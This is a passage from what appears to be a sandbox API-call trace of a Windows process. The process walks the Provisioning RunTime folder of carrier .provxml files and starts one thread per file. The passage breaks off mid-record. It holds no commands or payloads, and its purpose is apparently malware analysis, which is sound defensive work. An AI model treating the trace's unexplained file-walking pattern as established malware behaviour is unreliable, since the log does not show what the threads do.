_Source="192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0088.674] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e5070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7a0 [0088.675] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90732eea, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90732eea, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90732eea, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml", cAlternateFileName="193__C~1.PRO")) returned 1 [0088.675] wcscmp (_String1="193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.675] wcscmp (_String1="193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.675] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13e) returned 0x3421540 [0088.675] wcscpy (in: _Dest=0x3421540, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.675] wcscat (in: _Dest=0x3421540, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.675] wcscat (in: _Dest=0x3421540, _Source="193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml" [0088.675] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3421540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x690 [0088.676] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90759156, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90759156, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90759156, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml", cAlternateFileName="194__C~1.PRO")) returned 1 [0088.676] wcscmp (_String1="194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.676] wcscmp (_String1="194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.676] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13e) returned 0x34212b0 [0088.676] wcscpy (in: _Dest=0x34212b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.676] wcscat (in: _Dest=0x34212b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.676] wcscat (in: _Dest=0x34212b0, _Source="194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml" [0088.676] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34212b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x828 [0088.677] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90759156, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90759156, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90759156, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="195__C~1.PRO")) returned 1 [0088.677] wcscmp (_String1="195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.677] wcscmp (_String1="195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.677] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x148) returned 0x33f93d8 [0088.677] wcscpy (in: _Dest=0x33f93d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.677] wcscat (in: _Dest=0x33f93d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.677] wcscat (in: _Dest=0x33f93d8, _Source="195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml" [0088.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f93d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0 [0088.678] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90759156, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90759156, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90759156, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x0, dwReserved1=0x0, cFileName="196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="196__C~1.PRO")) returned 1 [0088.678] wcscmp (_String1="196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.679] wcscmp (_String1="196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.679] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x148) returned 0x33f9128 [0088.679] wcscpy (in: _Dest=0x33f9128, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.679] wcscat (in: _Dest=0x33f9128, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.679] wcscat (in: _Dest=0x33f9128, _Source="196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml" [0088.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f9128, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x910 [0088.679] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90759156, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90759156, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90759156, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="197__C~1.PRO")) returned 1 [0088.679] wcscmp (_String1="197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.679] wcscmp (_String1="197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.679] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14c) returned 0x33f8e78 [0088.680] wcscpy (in: _Dest=0x33f8e78, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.680] wcscat (in: _Dest=0x33f8e78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.680] wcscat (in: _Dest=0x33f8e78, _Source="197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml" [0088.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f8e78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x90c [0088.680] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90759156, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90759156, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90759156, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="198__C~1.PRO")) returned 1 [0088.681] wcscmp (_String1="198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.681] wcscmp (_String1="198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.681] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14c) returned 0x33f8bc8 [0088.681] wcscpy (in: _Dest=0x33f8bc8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.681] wcscat (in: _Dest=0x33f8bc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.681] wcscat (in: _Dest=0x33f8bc8, _Source="198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml" [0088.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f8bc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x908 [0088.681] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9077f3c5, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9077f3c5, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9077f3c5, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="199__C~1.PRO")) returned 1 [0088.682] wcscmp (_String1="199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.682] wcscmp (_String1="199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.682] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14a) returned 0x33f9688 [0088.682] wcscpy (in: _Dest=0x33f9688, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.682] wcscat (in: _Dest=0x33f9688, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.682] wcscat (in: _Dest=0x33f9688, _Source="199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml" [0088.682] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f9688, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x900 [0088.682] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90163088, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90163088, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90163088, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="19__CE~1.PRO")) returned 1 [0088.682] wcscmp (_String1="19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0088.683] wcscmp (_String1="19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0088.683] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x126) returned 0x33e51a8 [0088.683] wcscpy (in: _Dest=0x33e51a8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.683] wcscat (in: _Dest=0x33e51a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.683] wcscat (in: _Dest=0x33e51a8, _Source="19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\19__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0088.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e51a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x904 [0088.684] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900ca6de, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x900ca6de, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x900ca6de, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="1__CON~1.PRO")) returned 1 [0088.684] wcscmp (_String1="1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.684] wcscmp (_String1="1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.684] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x152) returned 0x55dbb40 [0088.684] wcscpy (in: _Dest=0x55dbb40, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.684] wcscat (in: _Dest=0x55dbb40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.684] wcscat (in: _Dest=0x55dbb40, _Source="1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\1__Connections_Cellular_Vodafone Albania (Albania)_i0$(__MVID)@WAP.provxml" [0088.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x55dbb40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x914 [0088.685] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9077f3c5, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9077f3c5, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9077f3c5, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml", cAlternateFileName="200__C~1.PRO")) returned 1 [0088.685] wcscmp (_String1="200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.685] wcscmp (_String1="200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.685] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x140) returned 0x3421918 [0088.685] wcscpy (in: _Dest=0x3421918, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.685] wcscat (in: _Dest=0x3421918, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.685] wcscat (in: _Dest=0x3421918, _Source="200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\200__Connections_Cellular_AsiaCell (Iraq)_i0$(__MVID)@WAP.provxml" [0088.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3421918, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x918 [0088.686] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9077f3c5, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9077f3c5, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9077f3c5, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x308, dwReserved0=0x0, dwReserved1=0x0, cFileName="201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml", cAlternateFileName="201__C~1.PRO")) returned 1 [0088.686] wcscmp (_String1="201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0088.686] wcscmp (_String1="201__Connections_Cellular_KorekTelecom (Iraq)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0088.686] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x148) returned 0x33f9280 [0088.686] wcscpy (in: _Dest=0x33f9280, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0088.686] wcscat (in: _Dest=0x33f9280, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All 